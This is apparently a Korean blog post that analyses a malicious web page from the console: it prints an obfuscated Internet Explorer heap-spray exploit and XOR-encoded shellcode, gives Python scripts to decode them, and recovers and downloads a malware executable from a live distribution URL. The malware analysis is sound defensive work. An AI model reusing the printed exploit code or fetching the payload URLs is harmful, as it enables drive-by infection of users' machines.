콘솔 환경에서 악성 스크립트 분석하기! (1)

나중에 작업 환경이 리눅스로 바뀐다면 Malzilla 같은 툴 없이 분석을 쉽게 하기 위해 노가다로 스크립트를 작성해서 한번 찬찬히 분석을 진행해 보았습니다.

제가 작성한 스크립트들이 거지같더라도 이해해 주시길 바라며 분석할 대상 URL은 hxxp://202.133.245.100/exam.asp 입니다.
(주의! 함부로 접속하지 마세요.)

먼저 wget을 이용하여 해당 스크립트를 다운로드 하여 살펴보도록 하겠습니다.

[byjjoon@ByJJoon Script Analysis]$ wget http://211.234.118.207/main.html
--2010-05-09 19:15:35--  http://211.234.118.207/main.html
Connecting to 211.234.118.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1624 (1.6K) [text/html]
Saving to: `main.html'

100%[===============================================================================================================>] 1,624       --.-K/s   in 0s      

2010-05-09 19:15:35 (89.3 MB/s) - `main.html' saved [1624/1624]

[byjjoon@ByJJoon Script Analysis]$ cat main.html 
<script src="http://s87.cnzz.com/stat.php?id=790440&web_id=790440" language="JavaScript"></script>

<SCRIPT LANGUAGE="JavaScript"> 
<!-- Hide 
function killErrors() { 
return true; 
} 
window.onerror = killErrors; 
// --> 
</SCRIPT>
<script src="rl.jpg"></script>
<script src="yt1.jpg"></script>
<script src="ytl.jpg"></script>

<BUTTON 
id=PPSytytYYtTTyyutian 
style="DISPLAY: none" 
onclick=newTyPPSytytYYtTTyyutianAVpYyTt();></BUTTON>
<SCRIPT 
language=javascript>
function 
PPSytytYYtTTyyutianAVp(){

YtYtTyPPSytytYYtTTyyutianAVpYyTt 
= new Array();
var 
BIytKKTyPPSytytYYtTTyyutianAVpYyTt = 
0x86000-(PPSytytYYtTTyyutianAVpYyTt.length*2);
var nopaca = 'kaix0c0c'+'kaix0c0c';
var LFlwBa=unescape(nopaca.replace(/kaix/g,'%u')); 
while(LFlwBa.length<BIytKKTyPPSytytYYtTTyyutianAVpYyTt/2) 
{ LFlwBa+=LFlwBa; }
var 
youxiYTYTyyttYtTYyTian 
= 
LFlwBa.substring(0,BIytKKTyPPSytytYYtTTyyutianAVpYyTt/2);
delete 
LFlwBa;
for(YTiancazaWaGa=0; 
YTiancazaWaGa<270; YTiancazaWaGa++) 

YtYtTyPPSytytYYtTTyyutianAVpYyTt[YTiancazaWaGa] 
= 
youxiYTYTyyttYtTYyTian 
+ 
youxiYTYTyyttYtTYyTian 
+ 
PPSytytYYtTTyyutianAVpYyTt;

}
function 
newTyPPSytytYYtTTyyutianAVpYyTt(){
PPSytytYYtTTyyutianAVp();
var 
yutYianYtAYtVP = 
document.createElement('bo'+'dy');
yutYianYtAYtVP.addBehavior('#default#userData');
document.appendChild(yutYianYtAYtVP);
try 
{
  for (YTiancazaWaGa=0; 
YTiancazaWaGa<10; YTiancazaWaGa++) 

yutYianYtAYtVP.setAttribute('s',window);

} catch(e){ }
window.status+='';
}

document.getElementById('PPSytytYYtTTyyutian').onclick();
</SCRIPT>

jpg 파일을 위장하여 몇개의 스크립트가 더 포함되어 있음을 알 수 있습니다. 그 중 yt1.jpg 파일을 다운로드 하도록 하겠씁니다.
(왜 이 파일을 다운로드 하냐면.... 워낙 이런 류를 많이봐서 이젠 감이 오네요 -_-;)

[byjjoon@ByJJoon Script Analysis]$ wget http://211.234.118.207/yt1.jpg
--2010-05-09 19:15:58--  http://211.234.118.207/yt1.jpg
Connecting to 211.234.118.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 493 [image/jpeg]
Saving to: `yt1.jpg'

100%[===============================================================================================================>] 493         --.-K/s   in 0s      

2010-05-09 19:15:58 (36.9 MB/s) - `yt1.jpg' saved [493/493]

[byjjoon@ByJJoon Script Analysis]$ cat yt1.jpg 
      try {
            new ActiveXObject("kYTx");
      }
      catch (e) {
var YTMTV="%ud5db%uc9c9%u87cd%u9292%uc8d7%udad3%ud2da%udcd0%ud4d3%u93dc%ud8d3%udbdb%uded4%ud8d4%uc9d3%ude93%u93d2%ucfd6%uc992%uced8%u93c9%uc5d8%uBDd8%uBD";
var YTavp123="%u58yutianayt58%u58yutianayt58%u10yutianaytEB%u4Byutianayt5B%uC9yutianayt33%uB9yutianayt66%u03yutianaytB8%u34yutianayt80%uBDyutianayt0B%uFAE2%u05yutianaytEB%uEByutianaytE8%uFFyutianaytFF";
var YTavp1=(YTavp123.replace(/yutianayt/g,"")); 

여기서 YTMTV 변수의 코드가 악성코드를 다운로드 하는 URL이 포함된 변수 입니다. 해당 변수 값을 따로 저장하도록 하겠습니다.

[byjjoon@ByJJoon Script Analysis]$ echo '%ud5db%uc9c9%u87cd%u9292%uc8d7%udad3%ud2da%udcd0%ud4d3%u93dc%ud8d3%udbdb%uded4%ud8d4%uc9d3%ude93%u93d2%ucfd6%uc992%uced8%u93c9%uc5d8%uBDd8' > shellcode.dump    
[byjjoon@ByJJoon Script Analysis]$ xxd shellcode.dump 
0000000: 2575 6435 6462 2575 6339 6339 2575 3837  %ud5db%uc9c9%u87
0000010: 6364 2575 3932 3932 2575 6338 6437 2575  cd%u9292%uc8d7%u
0000020: 6461 6433 2575 6432 6461 2575 6463 6430  dad3%ud2da%udcd0
0000030: 2575 6434 6433 2575 3933 6463 2575 6438  %ud4d3%u93dc%ud8
0000040: 6433 2575 6462 6462 2575 6465 6434 2575  d3%udbdb%uded4%u
0000050: 6438 6434 2575 6339 6433 2575 6465 3933  d8d4%uc9d3%ude93
0000060: 2575 3933 6432 2575 6366 6436 2575 6339  %u93d2%ucfd6%uc9
0000070: 3932 2575 6365 6438 2575 3933 6339 2575  92%uced8%u93c9%u
0000080: 6335 6438 2575 4244 6438 0a              c5d8%uBDd8.
[byjjoon@ByJJoon Script Analysis]$ 

이제 저장한 파일을 Hex값으로 변환해야 하는데 여기서 사용하는 스크립트 코드는 아래와 같습니다.

#!/usr/bin/python
import sys, binascii

if len(sys.argv) != 2:
    print 'Usage : ' + sys.argv[0] + ' ShellcodeFile'
    sys.exit(1)

input = open(sys.argv[1], 'r')
shellcode = input.read()
paser = shellcode.split('%u')

code = ''
for x in paser:
    code += x[2:4] + x[0:2]

code = binascii.a2b_hex(code)

output = open('output.bin', 'wb')
output.write(code)

위 코드를 이용하여 아래와 같이 변환할 수 있습니다.

[byjjoon@ByJJoon Script Analysis]$ ./ucs2_to_hex.py shellcode.dump 
[byjjoon@ByJJoon Script Analysis]$ ls -al output.bin 
-rw-rw-r-- 1 byjjoon byjjoon 46 2010-05-09 19:17 output.bin
[byjjoon@ByJJoon Script Analysis]$ xxd output.bin 
0000000: dbd5 c9c9 cd87 9292 d7c8 d3da dad2 d0dc  ................
0000010: d3d4 dc93 d3d8 dbdb d4de d4d8 d3c9 93de  ................
0000020: d293 d6cf 92c9 d8ce c993 d8c5 d8bd       ..............

변환은 되었는데 제대로 값이 안나오는군요. 이런류는 대부분 XOR 인코딩을 이용해 주소값을 감추고 있습니다. 이러한 내용은 제일 처음에 받았던 스크립트의 쉘코드 부분에 기록되어 있습니다. 그에 대한 자세한 분석은 다음에 하도록 하죠 😀

이제 XOR 키를 찾기 위해 아래 스크립트를 이용합니다. 아래 스크립트는 원하는 문자열이 나올떄 0x00 ~ 0xFF까지 브루트포스하여 원하는 문자열이 나올때 해당 키값과 디코딩한 문자열을 출력해주는 스크립트 입니다.

#!/usr/bin/python
import sys, operator

def find_key(data, findstr):
    for x in range(len(data)):
        for y in range(255):
            count = 0
            for z in findstr:
                if operator.xor(ord(data[x+count]), y) == ord(z):
                    count += 1

                else:
                    continue
                if count == len(findstr):
                    print '[+] Find key : ' + str(hex(y))
                    apply_xor(data, y, x)
                    print '[+] End'
                    sys.exit(1)

def apply_xor(data, key, pos):
    tmp = data[pos:]
    output = ''
    for x in range(len(tmp)):
        output += chr(operator.xor(ord(tmp[x]), int(key)))
    print '[+] Apply XOR : ' + output

def main():
    if len(sys.argv) != 3:
        print 'Usage : ' + sys.argv[0] + ' Filename FindStrings'
        sys.exit(1)

    input = open(sys.argv[1], 'rb')
    find_str = sys.argv[2]
    data = input.read()

    print '[+] Start'
    find_key(data, find_str)

if __name__ == '__main__':
    main()

이제 위 스크립트를 이용하여 XOR 키와 찾은 키로 디코딩을 해보도록 하겠습니다.

[byjjoon@ByJJoon Script Analysis]$ ./xor_search.py output.bin http
[+] Start
[+] Find key : 0xbd
[+] Apply XOR : http://junggomania.nefficient.co.kr/test.exe
[+] End
[byjjoon@ByJJoon Script Analysis]$ wget http://junggomania.nefficient.co.kr/test.exe
--2010-05-09 19:18:22--  http://junggomania.nefficient.co.kr/test.exe
Resolving junggomania.nefficient.co.kr... 211.233.40.35
Connecting to junggomania.nefficient.co.kr|211.233.40.35|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 52736 (52K) [application/octet-stream]
Saving to: `test.exe'

100%[===============================================================================================================>] 52,736      --.-K/s   in 0.09s   

2010-05-09 19:18:23 (548 KB/s) - `test.exe' saved [52736/52736]

[byjjoon@ByJJoon Script Analysis]$ file test.exe 
test.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
[byjjoon@ByJJoon Script Analysis]$ 

디코딩된 URL에서 다운로드 한 파일이 정상적인 PE 파일임을 확인할 수 있었습니다.

  • EOF -

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다